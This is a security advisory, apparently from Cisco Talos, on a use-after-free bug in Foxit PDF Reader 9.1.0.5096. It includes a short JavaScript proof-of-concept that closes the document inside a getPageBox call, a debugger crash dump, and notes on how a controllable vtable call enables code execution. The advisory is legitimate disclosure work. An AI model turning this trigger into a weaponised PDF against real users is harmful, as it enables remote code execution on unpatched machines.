CVE-2018-3943
An exploitable use-after-free vulnerability exists in the JavaScript engine of Foxit Software’s PDF Reader, version 9.1.0.5096. A specially crafted PDF document can trigger a previously freed object in memory to be reused, resulting in arbitrary code execution. An attacker needs to trick the user to open the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, visiting a malicious site can also trigger the vulnerability.
Foxit Software PDF Reader 9.1.0.5096.
https://www.foxitsoftware.com/products/pdf-reader/
8.0 - CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
CWE-416: Use-after-free
Foxit PDF Reader is one of the most popular PDF document readers, and has a large user base. It aims to have feature parity with Adobe’s Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface.
When executing embedded JavaScript code, a document can be closed, which essentially frees a lot of used objects, but the JavaScript can continue to execute. Invoking a method which keeps a stale reference to a now-freed object can lead to a use-after-free condition, which can be abused to execute arbitrary code.
This particular vulnerability lies in invoking the getPageBox
method of the active document with a crafted object as argument, which can trigger a use-after-free condition, like in the following code:
function main() {
var a = {};
a.toString = f;
app.activeDocs[0].getPageBox({},a);
}
function f() {
app.activeDocs[0].closeDoc();
}
main();
In the above code, we create an object a
and overload its toString
method to be f
. Then, when getPageBox
is invoked, toString
of the second
argument is called, effectively closing the document and freeing a number of objects. When getPageBox
continues execution, it reuses a stale reference
of a freed object causing a crash.
Opening this proof-of-concept PDF document in Foxit Reader with PageHeap enabled results in the following crash:
(173c.414): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=80000000 ebx=120ffef0 ecx=0fdfeda8 edx=00000056 esi=0028e4f0 edi=80000000
eip=016738b3 esp=0028e430 ebp=0028e470 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210202
FoxitReader!CryptVerifyMessageSignature+0x6c003:
016738b3 8b11 mov edx,dword ptr [ecx] ds:0023:0fdfeda8=????????
0:000> !heap -p -a ecx
address 0fdfeda8 found in
_DPH_HEAP_ROOT @ 7581000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
fe31c30: fdfe000 2000
6a6290b2 verifier!AVrfDebugPageHeapFree+0x000000c2
774969cc ntdll!RtlDebugFreeHeap+0x0000002f
77459e07 ntdll!RtlpFreeHeap+0x0000005d
774263a6 ntdll!RtlFreeHeap+0x00000142
7565c614 kernel32!HeapFree+0x00000014
02aadf1b FoxitReader!CryptVerifyMessageSignature+0x014a666b
00fa08bf FoxitReader+0x000d08bf
00fa28a8 FoxitReader+0x000d28a8
010e965e FoxitReader+0x0021965e
010e942b FoxitReader+0x0021942b
010f842a FoxitReader+0x0022842a
010e2fd7 FoxitReader+0x00212fd7
010e2df8 FoxitReader+0x00212df8
029051ec FoxitReader!CryptVerifyMessageSignature+0x012fd93c
029090ef FoxitReader!CryptVerifyMessageSignature+0x0130183f
0290917e FoxitReader!CryptVerifyMessageSignature+0x013018ce
7724c4b7 USER32!InternalCallWinProc+0x00000023
7724c5b7 USER32!UserCallWinProcCheckWow+0x0000014b
77245264 USER32!SendMessageWorker+0x000004d0
77245552 USER32!SendMessageW+0x0000007c
010e09f5 FoxitReader+0x002109f5
0290ae65 FoxitReader!CryptVerifyMessageSignature+0x013035b5
029051ec FoxitReader!CryptVerifyMessageSignature+0x012fd93c
029090ef FoxitReader!CryptVerifyMessageSignature+0x0130183f
0290917e FoxitReader!CryptVerifyMessageSignature+0x013018ce
7724c4b7 USER32!InternalCallWinProc+0x00000023
7724c5b7 USER32!UserCallWinProcCheckWow+0x0000014b
77245264 USER32!SendMessageWorker+0x000004d0
77245552 USER32!SendMessageW+0x0000007c
0100bee7 FoxitReader+0x0013bee7
0167373e FoxitReader!CryptVerifyMessageSignature+0x0006be8e
016819e9 FoxitReader!CryptVerifyMessageSignature+0x0007a139
0:000> u
FoxitReader!CryptVerifyMessageSignature+0x6c003:
016738b3 8b11 mov edx,dword ptr [ecx]
016738b5 8b4218 mov eax,dword ptr [edx+18h]
016738b8 ffd0 call eax
016738ba 3bf8 cmp edi,eax
016738bc 7e25 jle FoxitReader!CryptVerifyMessageSignature+0x6c033 (016738e3)
016738be c745fcffffffff mov dword ptr [ebp-4],0FFFFFFFFh
016738c5 8d4dec lea ecx,[ebp-14h]
016738c8 e8357eac00 call FoxitReader!CryptVerifyMessageSignature+0xb33e52 (0213b702)
0:000> k
# ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
00 0028e470 01682529 FoxitReader!CryptVerifyMessageSignature+0x6c003
01 0028e4cc 01251578 FoxitReader!CryptVerifyMessageSignature+0x7ac79
02 0028e514 02759b2e FoxitReader+0x381578
03 0028e548 02751946 FoxitReader!CryptVerifyMessageSignature+0x115227e
04 0028e5b0 02753cf3 FoxitReader!CryptVerifyMessageSignature+0x114a096
Analyzing the heap state clearly shows that ecx
points into an unallocated freed memory region. And if we take a look at the code immediately following the point of crash, we can see edx
being used as a vtable pointer, ultimately leading to call
instruction with controllable operand in eax
. Since the contents of memory pointed to by ecx
can easily be controlled, this leads to relatively straightforward conditions for arbitrary code execution.
2018-06-05 - Vendor Disclosure
2018-09-28 - Vendor Patched
2018-10-01 - Public Release
Discovered by Aleksandar Nikolic of Cisco Talos.